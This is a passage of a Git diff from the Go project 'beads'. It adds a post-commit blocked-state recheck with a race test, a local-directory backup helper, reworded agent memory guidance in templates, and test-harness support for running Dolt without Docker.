backoff.Retry(func() error { + err := t.recheckBlockedOnce(ctx, pending) + if err == nil || isSerializationError(err) { + // A serialization failure means the server already rolled the + // transaction back, so the session is idle for the next attempt. + return err + } + if _, rbErr := t.conn.ExecContext(ctx, "ROLLBACK;"); rbErr != nil { + clean = false + } + return backoff.Permanent(err) + }, backoff.WithContext(bo, ctx)) + if err != nil { + issueops.ReportBlockedRecheckFailure(ctx, pending, issueops.BlockedRecheckFailed(err)) + } + return clean +} + +// recheckBlockedOnce is one recheck transaction on the pinned session. +func (t *doltServerTx) recheckBlockedOnce(ctx context.Context, pending issueops.BlockedRecheck) error { + if _, err := t.conn.ExecContext(ctx, "START TRANSACTION;"); err != nil { + return fmt.Errorf("begin recheck: %w", err) + } + result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, t.conn, pending.IssueIDs, pending.WispIDs) + if err != nil { + return err + } + message := "" + if result.IssueRowsChanged { + message = pending.CommitMessage() + } + stmt, args, err := t.commitStatement(ctx, message) + if err != nil { + return err + } + _, err = t.conn.ExecContext(ctx, stmt, args...) + return err +} diff --git a/internal/storage/uow/blocked_recheck_race_test.go b/internal/storage/uow/blocked_recheck_race_test.go new file mode 100644 index 000000000..c03cfb386 --- /dev/null +++ b/internal/storage/uow/blocked_recheck_race_test.go @@ -0,0 +1,174 @@ +package uow + +import ( + "context" + "slices" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedBlockedRecheckAfterRacingUnblocks is gastownhall/beads#6716 on +// the proxied (uow) write path, the one every proxied `bd close`, +// `bd update --status closed`, `bd dep remove`, `bd delete`, proxied batch +// close and bd serve reach. +// +// Two blockers A and B of one dependent C are taken away by two units of +// work whose transactions overlap: the first begins and writes while both +// blockers are open, the second then writes and commits, and the first +// commits last. Each in-transaction recompute saw the other blocker still in +// place, so neither wrote C, and without a post-commit recheck C stays +// is_blocked=1 and hidden from ready work on every committed snapshot. +func TestProxiedBlockedRecheckAfterRacingUnblocks(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + const prefix = "rbr" + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + kit := newUOWRoleFixtureKit(provider, prefix) + + closeIssue := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseIssue(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer") + return err + } + } + closeChecked := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseIssueChecked(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer", false) + return err + } + } + updateClosed := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + return uw.IssueUseCase().UpdateIssue(ctx, id, map[string]any{"status": string(types.StatusClosed)}, "racer") + } + } + closeWisp := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseWisp(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer") + return err + } + } + + cases := []struct { + name string + // wispBlockers seeds A and B as wisps instead of issues. + wispBlockers bool + // first and second take blocker A and blocker B away; first commits last. + first, second func(a, b, c string) func(context.Context, UnitOfWork) error + }{ + { + name: "close vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeIssue(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + // The batch closer's per-item close (bd close a b, proxied). + name: "checked close vs checked close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeChecked(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeChecked(b) }, + }, + { + // bd update --status closed, proxied. + name: "update to closed vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return updateClosed(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "dependency removal vs close", + first: func(a, _, c string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + return uw.DependencyUseCase().RemoveDependency(ctx, c, a, "racer") + } + }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "delete vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: []string{a}, EnforceCascadePolicy: true, Force: true}, "racer") + return err + } + }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "wisp close vs wisp close", + wispBlockers: true, + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeWisp(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeWisp(b) }, + }, + } + + for i, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + n := string(rune('a' + i)) + a, b, c := prefix+"-"+n+"blka", prefix+"-"+n+"blkb", prefix+"-"+n+"dep" + seed := kit.CreateIssue + if tc.wispBlockers { + seed = kit.CreateWisp + } + for _, id := range []string{a, b} { + if err := seed(ctx, &types.Issue{ID: id, Title: id, IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "seeder"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + if err := kit.CreateIssue(ctx, &types.Issue{ID: c, Title: c, IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "seeder"); err != nil { + t.Fatalf("seed %s: %v", c, err) + } + for _, blocker := range []string{a, b} { + if err := kit.AddDependency(ctx, &types.Dependency{IssueID: c, DependsOnID: blocker, Type: types.DepBlocks}, "seeder"); err != nil { + t.Fatalf("add %s -> %s: %v", c, blocker, err) + } + } + requireBlocked(t, ctx, kit, c, true) + + first, err := provider.NewUOW(ctx) + if err != nil { + t.Fatalf("open first unit of work: %v", err) + } + defer first.Close(ctx) + if err := tc.first(a, b, c)(ctx, first); err != nil { + t.Fatalf("first write: %v", err) + } + + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "second racing write", tc.second(a, b, c)(ctx, uw) + }); err != nil { + t.Fatalf("second write: %v", err) + } + // The second write's own recheck ran while the first was still + // uncommitted, so the dependent is legitimately still blocked. + requireBlocked(t, ctx, kit, c, true) + + if err := first.Commit(ctx, "first racing write"); err != nil { + t.Fatalf("commit first write: %v", err) + } + + requireBlocked(t, ctx, kit, c, false) + ready, err := RunTxRead(ctx, provider, func(ctx context.Context, uw UnitOfWork) (domain.SearchPage, error) { + return uw.IssueUseCase().GetReadyWork(ctx, types.WorkFilter{}) + }) + if err != nil { + t.Fatalf("ready work: %v", err) + } + if !slices.ContainsFunc(ready.Items, func(i *types.Issue) bool { return i.ID == c }) { + t.Fatalf("%s has no open blockers but is missing from ready work", c) + } + }) + } +} + +func requireBlocked(t *testing.T, ctx context.Context, kit roleFixtureKit, id string, want bool) { + t.Helper() + var blocked bool + if err := kit.QueryScalar(ctx, "SELECT is_blocked FROM issues WHERE id = ?", []any{id}, &blocked); err != nil { + t.Fatalf("read is_blocked of %s: %v", id, err) + } + if blocked != want { + t.Fatalf("%s is_blocked = %v, want %v", id, blocked, want) + } +} diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 7acd42628..e80c119d1 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -193,11 +193,13 @@ func (p *doltSQLProvider) BeginTx(ctx context.Context) (Tx, error) { // UPDATE and the SELECT that must observe it are inside one transaction on // one session. Both scopes are released when the connection is // (doltServerTx.releaseConn / poisonConn), so an entry cannot outlive its - // transaction. + // transaction. The blocked-recheck scope is bound and released the same + // way; Commit takes what it recorded once the transaction has committed. return &doltServerTx{ conn: conn, clearJournalScope: issueops.ScopeEventsJournalTransaction(conn, p.eventsJournalEnabled.Load()), clearVersionScope: issueops.ScopeVersionedHistoryTransaction(conn, p.versionedHistoryEnabled.Load()), + clearRecheckScope: issueops.ScopeBlockedRecheckTransaction(conn), }, nil } diff --git a/internal/storage/uow/doltserver_tx.go b/internal/storage/uow/doltserver_tx.go index a97cf8036..4fd396e7a 100644 --- a/internal/storage/uow/doltserver_tx.go +++ b/internal/storage/uow/doltserver_tx.go @@ -22,6 +22,10 @@ type doltServerTx struct { // issue-version history: same binding at BeginTx, same release at // releaseConn/poisonConn. clearVersionScope func() + // clearRecheckScope is the same binding for the dependents this + // transaction's unblocking writes record for the post-commit + // blocked-state recheck (gastownhall/beads#6716). + clearRecheckScope func() } var _ Tx = (*doltServerTx)(nil) @@ -34,6 +38,51 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { if t.done { return errors.New("uow: commit: already done") } + stmt, args, err := t.commitStatement(ctx, message) + if err != nil { + if isSerializationError(err) { + // As below: the server already rolled the transaction back and + // the caller retries the whole unit of work, so leave the + // pinned session in place for the retry. + return err + } + // A failed status check leaves the transaction open on the pinned + // session, exactly like a failed DOLT_COMMIT below: roll back + // before release, or poison the connection. + return t.closeOpenTxAfterFailure(ctx, err) + } + _, err = t.conn.ExecContext(ctx, stmt, args...) + if err == nil { + t.done = true + // The write is durable. Settle the dependents its unblocking writes + // recorded on a fresh snapshot before the pinned session goes back + // to the pool (gastownhall/beads#6716). A recheck failure is logged, + // never returned: the caller must not read a committed write as + // failed and replay it. + if t.recheckBlockedAfterCommit(ctx, issueops.TakeBlockedRecheck(t.conn)) { + t.releaseConn() + } else { + t.poisonConn() + } + return nil + } + if isSerializationError(err) { + // Serialization failures guarantee the transaction was already rolled + // back and the caller retries them, so leave the pinned session in place + // for the retry rather than tearing it down here. + return err + } + // A non-serialization DOLT_COMMIT failure leaves the transaction open on the + // pinned session. Roll it back before releasing the connection so the next + // borrower cannot inherit and implicitly commit the orphaned writes. If the + // rollback also fails the session state is unknown, so poison the connection + // and let the pool discard it instead of handing it out again. + return t.closeOpenTxAfterFailure(ctx, err) +} + +// commitStatement picks the statement that ends the open transaction on the +// pinned session for a commit named message. +func (t *doltServerTx) commitStatement(ctx context.Context, message string) (string, []interface{}, error) { // dolt.auto-commit=batch/off (GH#4995): defer the Dolt version commit to a // later explicit commit point (bd dolt commit), the same as the embedded // and direct SQL-server backends already do at their own commit sites @@ -90,41 +139,15 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { // uow layer lets it surface as a lost-update signal // (lostupdate_dolt_test.go) — swallowing it a layer down could mask a // silently lost write. - pending, perr := issueops.HasPendingChanges(ctx, t.conn) - if perr != nil { - if isSerializationError(perr) { - // As below: the server already rolled the transaction back and - // the caller retries the whole unit of work, so leave the - // pinned session in place for the retry. - return perr - } - // A failed status check leaves the transaction open on the pinned - // session, exactly like a failed DOLT_COMMIT below: roll back - // before release, or poison the connection. - return t.closeOpenTxAfterFailure(ctx, perr) + pending, err := issueops.HasPendingChanges(ctx, t.conn) + if err != nil { + return "", nil, err } if !pending { stmt, args = "COMMIT;", nil } } - _, err := t.conn.ExecContext(ctx, stmt, args...) - if err == nil { - t.done = true - t.releaseConn() - return nil - } - if isSerializationError(err) { - // Serialization failures guarantee the transaction was already rolled - // back and the caller retries them, so leave the pinned session in place - // for the retry rather than tearing it down here. - return err - } - // A non-serialization DOLT_COMMIT failure leaves the transaction open on the - // pinned session. Roll it back before releasing the connection so the next - // borrower cannot inherit and implicitly commit the orphaned writes. If the - // rollback also fails the session state is unknown, so poison the connection - // and let the pool discard it instead of handing it out again. - return t.closeOpenTxAfterFailure(ctx, err) + return stmt, args, nil } // closeOpenTxAfterFailure finishes a Commit attempt that failed with the @@ -175,6 +198,7 @@ func (t *doltServerTx) rollbackConn(ctx context.Context) error { func (t *doltServerTx) releaseConn() { t.releaseJournalScope() t.releaseVersionScope() + t.releaseRecheckScope() if t.conn != nil { _ = t.conn.Close() t.conn = nil @@ -200,6 +224,15 @@ func (t *doltServerTx) releaseVersionScope() { } } +// releaseRecheckScope is releaseJournalScope's counterpart for the +// blocked-recheck scope. Idempotent for the same reason. +func (t *doltServerTx) releaseRecheckScope() { + if t.clearRecheckScope != nil { + t.clearRecheckScope() + t.clearRecheckScope = nil + } +} + // poisonConn discards the pinned session instead of returning it to the pool. // A session whose transaction may still be open must never be reused: because // go-sql-driver's ResetSession only performs a liveness check (no @@ -209,6 +242,7 @@ func (t *doltServerTx) releaseVersionScope() { func (t *doltServerTx) poisonConn() { t.releaseJournalScope() t.releaseVersionScope() + t.releaseRecheckScope() if t.conn == nil { return } diff --git a/internal/storage/versioncontrolops/backup.go b/internal/storage/versioncontrolops/backup.go index 56acacf27..d8dd44a4d 100644 --- a/internal/storage/versioncontrolops/backup.go +++ b/internal/storage/versioncontrolops/backup.go @@ -3,10 +3,16 @@ package versioncontrolops import ( "context" "fmt" + "os" "path/filepath" "strings" ) +// ExportBackupName is the Dolt backup remote the auto-backup path registers +// for its local backup directory. `bd backup init` registers a different +// name, so the two can coexist until they point at the same address. +const ExportBackupName = "backup_export" + // BackupAdd registers a Dolt backup destination. func BackupAdd(ctx context.Context, db DBConn, name, url string) error { if _, err := db.ExecContext(ctx, "CALL DOLT_BACKUP('add', ?, ?)", name, url); err != nil { @@ -47,6 +53,55 @@ func BackupRestore(ctx context.Context, db DBConn, url, dbName string, force boo return nil } +// CurrentCommit returns the hash of the current HEAD commit. +func CurrentCommit(ctx context.Context, db DBConn) (string, error) { + var hash string + if err := db.QueryRowContext(ctx, "SELECT DOLT_HASHOF('HEAD')").Scan(&hash); err != nil { + return "", fmt.Errorf("failed to get current commit: %w", err) + } + return hash, nil +} + +// BackupToDir registers dir as the ExportBackupName file:// backup remote and +// syncs the full database to it, preserving complete commit history. dir must +// already exist on this machine. +// +// register carries the remote add/remove; sync carries DOLT_BACKUP('sync'), +// which streams the database and can outlive a pooled connection's read +// deadline, so a caller that has one hands in a long-timeout connection there. +// A caller with a single connection passes it for both. +// +// Registration is idempotent (remove, then add). When another remote — e.g. +// the one `bd backup init` registered — already holds the same address, Dolt +// refuses the add; the sync then goes through that remote's name instead. +func BackupToDir(ctx context.Context, register, sync DBConn, dir string) error { + info, err := os.Stat(dir) + if err != nil { + return fmt.Errorf("backup destination does not exist: %w", err) + } + if !info.IsDir() { + return fmt.Errorf("backup destination is not a directory: %s", dir) + } + backupURL, err := DirToFileURL(dir) + if err != nil { + return err + } + + name := ExportBackupName + _ = BackupRemove(ctx, register, name) + if err := BackupAdd(ctx, register, name, backupURL); err != nil { + conflict := ExtractAddressConflictName(err) + if conflict == "" { + return fmt.Errorf("register backup remote: %w", err) + } + name = conflict + } + if err := BackupSync(ctx, sync, name); err != nil { + return fmt.Errorf("sync to backup: %w", err) + } + return nil +} + // DirToFileURL resolves dir to an absolute path and returns a file:// URL. // // An input that already carries a scheme is rejected rather than prefixed. diff --git a/internal/storage/versioncontrolops/backup_test.go b/internal/storage/versioncontrolops/backup_test.go index d58df7660..907b0c29c 100644 --- a/internal/storage/versioncontrolops/backup_test.go +++ b/internal/storage/versioncontrolops/backup_test.go @@ -1,7 +1,10 @@ package versioncontrolops import ( + "context" "fmt" + "os" + "path/filepath" "strings" "testing" ) @@ -74,3 +77,29 @@ func TestExtractAddressConflictName(t *testing.T) { }) } } + +// TestBackupToDirRefusesMissingOrFileDestination pins the local-directory +// precondition every auto-backup caller (embedded, sql-server and proxied) +// now shares. It fails before any SQL is issued, so nil connections are safe: +// a regression that reached the server first would panic here. +func TestBackupToDirRefusesMissingOrFileDestination(t *testing.T) { + dir := t.TempDir() + file := filepath.Join(dir, "not-a-dir") + if err := os.WriteFile(file, nil, 0o600); err != nil { + t.Fatal(err) + } + + for _, tc := range []struct { + name, dir, want string + }{ + {name: "missing", dir: filepath.Join(dir, "absent"), want: "does not exist"}, + {name: "file", dir: file, want: "is not a directory"}, + } { + t.Run(tc.name, func(t *testing.T) { + err := BackupToDir(context.Background(), nil, nil, tc.dir) + if err == nil || !strings.Contains(err.Error(), tc.want) { + t.Fatalf("BackupToDir(%q) error = %v, want one containing %q", tc.dir, err, tc.want) + } + }) + } +} diff --git a/internal/templates/agents/defaults/beads-section-codex.md b/internal/templates/agents/defaults/beads-section-codex.md index a5a2d7cd5..28b75bf28 100644 --- a/internal/templates/agents/defaults/beads-section-codex.md +++ b/internal/templates/agents/defaults/beads-section-codex.md @@ -16,6 +16,6 @@ bd prime # Refresh Beads context - Use `bd` for all task tracking; do not create markdown TODO lists. - Run `bd prime` when Beads context is missing or stale. Codex 0.129.0+ can load Beads context automatically through native hooks; use `/hooks` to inspect or toggle them. -- Keep persistent project memory in Beads via `bd remember`; do not create ad hoc memory files. +- Keep durable project facts in Beads via `bd remember` rather than in per-tool memory files, which fragment across accounts; per-operator preferences belong in your harness's own memory. **Architecture in one line:** issues live in a local Dolt DB; sync uses `refs/dolt/data` on your git remote; `.beads/issues.jsonl` is a passive export. See https://github.com/gastownhall/beads/blob/main/docs/core-concepts/sync-concepts.md for details and anti-patterns. diff --git a/internal/templates/agents/defaults/beads-section-minimal.md b/internal/templates/agents/defaults/beads-section-minimal.md index 26fc94af2..f7292a5bb 100644 --- a/internal/templates/agents/defaults/beads-section-minimal.md +++ b/internal/templates/agents/defaults/beads-section-minimal.md @@ -15,7 +15,7 @@ bd close # Complete work - Use `bd` for ALL task tracking — do NOT use TodoWrite, TaskCreate, or markdown TODO lists - Run `bd prime` for detailed command reference and session close protocol -- Use `bd remember` for persistent knowledge — do NOT use MEMORY.md files +- Use `bd remember` for durable project facts — not per-tool memory files, which fragment across accounts; keep per-operator preferences in your harness's own memory **Architecture in one line:** issues live in a local Dolt DB; sync uses `refs/dolt/data` on your git remote; `.beads/issues.jsonl` is a passive export. See https://github.com/gastownhall/beads/blob/main/docs/core-concepts/sync-concepts.md for details and anti-patterns. diff --git a/internal/templates/agents/render_test.go b/internal/templates/agents/render_test.go index 40f5e1320..6df83564c 100644 --- a/internal/templates/agents/render_test.go +++ b/internal/templates/agents/render_test.go @@ -123,6 +123,18 @@ func TestRenderSectionMinimal(t *testing.T) { if strings.Contains(section, "### Priorities") { t.Error("minimal profile should not contain full priorities section") } + + // GH#6111: the memory bullet says which store each content class belongs + // in instead of prohibiting MEMORY.md, because harnesses ship a + // first-party memory whose index file has exactly that name. Assert the + // prohibition's absence rather than the replacement prose, so the pin + // survives any future rewording of the sentence. + if !strings.Contains(section, "bd remember") { + t.Error("minimal profile should still teach bd remember") + } + if strings.Contains(section, "MEMORY.md") { + t.Error("minimal profile should not name MEMORY.md") + } } func TestCodexSectionBody(t *testing.T) { @@ -146,6 +158,16 @@ func TestCodexSectionBody(t *testing.T) { if strings.Contains(body, "BEGIN BEADS") || strings.Contains(body, "END BEADS") { t.Error("CodexSectionBody should not include managed markers") } + + // GH#6111, as above: the memory bullet describes the split instead of + // banning per-tool memory files. This body spelled its prohibition "ad hoc + // memory files" and never named MEMORY.md, so checking only the file name + // would assert nothing about what this surface used to emit. + for _, unwanted := range []string{"MEMORY.md", "ad hoc memory files"} { + if strings.Contains(body, unwanted) { + t.Errorf("CodexSectionBody should not prohibit %q", unwanted) + } + } } func TestRenderSectionHashStability(t *testing.T) { diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 1aa4cc278..e71085878 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -7,6 +7,9 @@ go_library( "container_provider_windows.go", "dockercontext.go", "git_test_hooks.go", + "localdoltserver.go", + "localdoltserver_linux.go", + "localdoltserver_other.go", "suite_temp.go", "testdoltbranch.go", "testdoltcommon.go", @@ -104,6 +107,7 @@ go_test( name = "testutil_test", srcs = [ "dockercontext_test.go", + "localdoltserver_test.go", "suite_temp_test.go", "testdoltbranch_test.go", "testdoltserver_env_test.go", diff --git a/internal/testutil/container_provider.go b/internal/testutil/container_provider.go index 39f887cff..b6573eb41 100644 --- a/internal/testutil/container_provider.go +++ b/internal/testutil/container_provider.go @@ -18,6 +18,7 @@ import ( // mapped host port, and Stop() to tear it down. type ContainerProvider struct { container *dolt.DoltContainer + local *localDoltServer // local backend instead of container port int } @@ -27,6 +28,14 @@ func NewContainerProvider() (*ContainerProvider, error) { return nil, fmt.Errorf("cannot create container provider: %s", state) } + if useLocalDoltServer() { + s, err := startLocalDoltServer() + if err != nil { + return nil, fmt.Errorf("starting local Dolt server: %w", err) + } + return &ContainerProvider{local: s, port: s.Port()}, nil + } + ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() @@ -70,6 +79,11 @@ func (p *ContainerProvider) WritePortFile(serverDir string) error { // Stop terminates the container. func (p *ContainerProvider) Stop() error { + if p.local != nil { + p.local.terminate() + p.local = nil + return nil + } if p.container == nil { return nil } diff --git a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel index ae277b5e1..4f79f92a7 100644 --- a/internal/testutil/fixtures/BUILD.bazel +++ b/internal/testutil/fixtures/BUILD.bazel @@ -1,4 +1,4 @@ -load("@rules_go//go:def.bzl", "go_library") +load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "fixtures", @@ -10,3 +10,18 @@ go_library( "//internal/types", ], ) + +# integration-only: fixtures_test.go is `//go:build integration`, so outside +# --config=integration this target has no tests; the tag keeps it out of +# --config=prcore/ci (hand-written, gazelle keeps it). +go_test( + name = "fixtures_test", + srcs = ["fixtures_test.go"], + embed = [":fixtures"], + tags = ["integration-only"], + deps = [ + "//internal/storage/dolt", + "//internal/testutil", + "//internal/types", + ], +) diff --git a/internal/testutil/integration/BUILD.bazel b/internal/testutil/integration/BUILD.bazel new file mode 100644 index 000000000..f34816ff5 --- /dev/null +++ b/internal/testutil/integration/BUILD.bazel @@ -0,0 +1,81 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "integration", + srcs = [ + "corruption.go", + "diagnostics.go", + "harness.go", + ], + importpath = "github.com/steveyegge/beads/internal/testutil/integration", + visibility = ["//:__subpackages__"], + deps = select({ + "@rules_go//go/platform:aix": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:android": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:darwin": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:illumos": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:ios": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:js": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:linux": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:osx": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:plan9": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:qnx": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:solaris": [ + "//internal/testutil/bazeltest", + ], + "//conditions:default": [], + }), +) + +# The package is integration-only (every file is `//go:build integration`), +# so this target holds tests only under --config=integration. There +# TestBuildErrorIsMaskedByChmod runs SubprocessRunner's `go test -c` for a +# missing package; the pinned SDK's go (plus pkg/tool, which `go test` needs +# for vet) and the module's go.mod/go.sum stand in for the toolchain and +# checkout `go test` has. integration-only: outside that config the target +# is empty, so the tag keeps it out of --config=prcore/ci (gazelle keeps it). +go_test( + name = "integration_test", + srcs = ["harness_test.go"], + data = [ + "//:go.mod", + "//:go.sum", + "@go_sdk//:bin/go", + "@go_sdk//:tools", + ], + embed = [":integration"], + env = {"BEADS_TEST_GO_BINARY": "$(rlocationpath @go_sdk//:bin/go)"}, + tags = ["integration-only"], +) diff --git a/internal/testutil/integration/harness.go b/internal/testutil/integration/harness.go index 244bb6cd1..03fd1607f 100644 --- a/internal/testutil/integration/harness.go +++ b/internal/testutil/integration/harness.go @@ -20,6 +20,8 @@ import ( "syscall" "testing" "time" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // ProcessRegistry tracks spawned processes and ensures cleanup via t.Cleanup. @@ -113,15 +115,60 @@ func NewSubprocessRunner(modRoot, pkg string) *SubprocessRunner { } } +// GoBinaryEnv names the variable that points SubprocessRunner at a Go +// command other than the `go` on PATH. Under Bazel there is no toolchain on +// PATH, so a go_test that builds through SubprocessRunner declares the pinned +// SDK as data and sets it from its BUILD file: +// +// data = ["@go_sdk//:bin/go", "@go_sdk//:tools", "//:go.mod", "//:go.sum"], +// env = {"BEADS_TEST_GO_BINARY": "$(rlocationpath @go_sdk//:bin/go)"}, +const GoBinaryEnv = "BEADS_TEST_GO_BINARY" + +// goBinary returns the go command to build with: "go" from PATH unless +// BEADS_TEST_GO_BINARY is set, which is then resolved like any other runfile. +func goBinary() (string, error) { + if os.Getenv(GoBinaryEnv) == "" { + return "go", nil + } + return bazeltest.RunfileEnv(GoBinaryEnv) +} + +// PrebuiltTestBinaryEnv names a variable that hands SubprocessRunner an +// already-built test binary of the package it would compile, instead of +// running `go test -c`. Under Bazel no action has the module's source tree +// and module cache that `go test -c` needs, but the test binary that is +// running is that package's test binary, integration-tagged, so the target +// passes it (resolved like any other runfile): +// +// env = {"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath )"}, +const PrebuiltTestBinaryEnv = "BEADS_TEST_SUBPROCESS_BINARY" + // Build compiles the test binary (once). Returns the path to the binary. +// With BEADS_TEST_SUBPROCESS_BINARY set it compiles nothing and returns that +// binary. func (r *SubprocessRunner) Build(t *testing.T) string { t.Helper() r.once.Do(func() { + if os.Getenv(PrebuiltTestBinaryEnv) != "" { + bin, err := bazeltest.RunfileEnv(PrebuiltTestBinaryEnv) + if err != nil { + r.buildErr = fmt.Errorf("prebuilt test binary: %w", err) + return + } + t.Logf("SubprocessRunner: using prebuilt test binary %s (%s) for %s", bin, PrebuiltTestBinaryEnv, r.pkg) + r.testBin = bin + return + } r.testBin = filepath.Join(t.TempDir(), "integration.test") t.Logf("SubprocessRunner: building test binary: go test -tags %s -c -o %s %s", r.tags, r.testBin, r.pkg) ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) defer cancel() - build := exec.CommandContext(ctx, "go", "test", + goBin, err := goBinary() + if err != nil { + r.buildErr = fmt.Errorf("failed to build test binary: %w", err) + return + } + build := exec.CommandContext(ctx, goBin, "test", "-tags", r.tags, "-c", "-o", r.testBin, diff --git a/internal/testutil/localdoltserver.go b/internal/testutil/localdoltserver.go new file mode 100644 index 000000000..8b7fd5c7f --- /dev/null +++ b/internal/testutil/localdoltserver.go @@ -0,0 +1,602 @@ +//go:build !windows + +package testutil + +import ( + "bytes" + "context" + "database/sql" + "errors" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "sync" + "syscall" + "time" +) + +// EnvDoltServerBackend selects where the test Dolt SQL server comes from: +// +// container the dolthub/dolt-sql-server image through testcontainers +// (needs a docker daemon and the pulled image) +// local `dolt sql-server` from the pinned dolt CLI, started by the test +// process itself (no docker; works under remote execution) +// +// Unset means container, under plain `go test` and `bazel test` alike. A +// Bazel action has no docker daemon, so there an unset target keeps the +// pre-existing "Dolt unavailable, skipping" behavior; only targets (or +// invocations, via --test_env) that set local explicitly start servers from +// the pinned CLI that tools/bazel/test_env.sh puts on PATH. Defaulting to +// local under Bazel would light up every Dolt suite that no lane runs with a +// server today in every non-ci `bazel test`. +const EnvDoltServerBackend = "BEADS_TEST_DOLT_SERVER" + +// EnvDoltServerGOMAXPROCS caps the CPUs a local test server uses. The +// container jobs run on 4-vCPU GitHub runners; a remote worker runs many test +// actions side by side, and an uncapped Go server sizes itself for the whole +// machine. +const EnvDoltServerGOMAXPROCS = "BEADS_TEST_DOLT_SERVER_GOMAXPROCS" + +const defaultLocalServerGOMAXPROCS = "4" + +// EnvDoltServerVerbose, set to "1", makes the local backend report each +// server's port and startup time on stderr. +const EnvDoltServerVerbose = "BEADS_TEST_DOLT_SERVER_VERBOSE" + +// useLocalDoltServer reports whether the local backend is selected. An +// unrecognized BEADS_TEST_DOLT_SERVER value is reported by checkDolt (see +// doltBackendErr) rather than guessed at. +func useLocalDoltServer() bool { + return os.Getenv(EnvDoltServerBackend) == "local" +} + +// doltBackendErr rejects a BEADS_TEST_DOLT_SERVER value that names neither +// backend: a typo must not silently fall back to one of them. +func doltBackendErr() error { + switch v := os.Getenv(EnvDoltServerBackend); v { + case "", "local", "container": + return nil + default: + return fmt.Errorf("%s=%q: want \"local\" or \"container\"", EnvDoltServerBackend, v) + } +} + +// localServerBase is where local servers keep their state. It is captured at +// package init, before any TestMain runs PinSuiteTempRoot (which re-points +// TMPDIR): a server under a suite root would be reported, and killed, as a +// leaked fixture by doltserver.SweepSuiteTestServers. The container backend +// kept its data outside the host filesystem entirely; this keeps it outside +// every suite root. +var localServerBase = os.TempDir() + +// pinnedDoltVersion is the version in DoltDockerImage's tag: the local +// backend must run exactly the release the container would. +var pinnedDoltVersion = func() string { + _, tag, _ := strings.Cut(DoltDockerImage, ":") + return tag +}() + +var ( + localDoltBinOnce sync.Once + localDoltBin string + localDoltBinErr error +) + +var doltVersionRe = regexp.MustCompile(`(?m)^dolt version (\S+)`) + +// resolveLocalDoltBinary finds the dolt CLI (BEADS_TEST_DOLT_BINARY, then +// PATH) and checks it is the pinned release. +func resolveLocalDoltBinary() (string, error) { + localDoltBinOnce.Do(func() { + sweepDeadLocalServerRoots(localServerBase, processAlive) + bin := 